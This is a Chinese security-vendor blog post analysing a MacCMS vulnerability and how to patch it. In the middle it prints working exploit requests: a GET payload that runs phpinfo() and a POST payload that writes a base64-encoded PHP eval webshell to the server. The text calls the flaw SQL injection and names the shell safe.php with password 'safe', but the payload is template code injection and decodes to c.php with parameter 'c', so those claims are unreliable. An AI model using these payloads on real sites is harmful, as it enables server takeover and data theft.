Sine安全-网络安全背后的巨人,提供服务器安全_服务器维护_网站安全解决方案

苹果cms漏洞 sql注入获取密码漏洞分析与修复



         苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好

,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜
欢,于近日被网站安全

检测发现,maccms存在网站漏洞,sql注入盲射获取数据库
的管理员账号密码,关于该漏洞的详

情,我们仔细分析看下.

 
 
maccms漏洞分析与修复
 
苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,

也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的
是sql注入漏洞,在网

站的根目录下的inc文件里的module目录下的vod.php代码
如下图所示:

 

 
代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问

带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文
件,在function.php配

置文件代码李看到对网站的所有请求方式包括get、post、
cookies的提交方式都强制性的进行

了安全转义。网站漏洞问题的发生就在这里.

 
 
我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好

几年前开发,并公开在网络上的,已经很久没有更新维护了
并且还存在sql注入代码绕过的情况

,参数值之间进行实体转换的时候,360的
sql拦截规则没有对空白符以及反斜杠进行拦截,导致

可以绕过插入恶意参数,直
接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。
 
 
我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入

语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代
码进行注入,sql语句在拼

接中,可以插入反斜杠进行单引号的报错,从而绕过苹
果CMS的安全拦截。语句如下:
 
GET请求:
 
http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
 
可以直接看php的具体信息
 
POST请求
 
可以直接获取webshell
 
http://127.0.0.1/index.PHP?m=vod-search
 
POST内容如下:
 
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w
 
%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}

{endif-
A}  

 
可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.
 
 
如何修复苹果cms网站漏洞呢?

 
对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms

使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也
很容易忘记加引号,再一

个后期处理安全过滤的时候可以插入单引号,stripslash
导致可以加入单引号,编解码导致绕过

addslash,使用urldecode编码进行注入绕
过,根据上面提出的漏洞绕过,我们SINE安全提出漏

洞修复的建议是:对URL解码
进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加

强空格,以及
百分符号的拦截。
 
分享: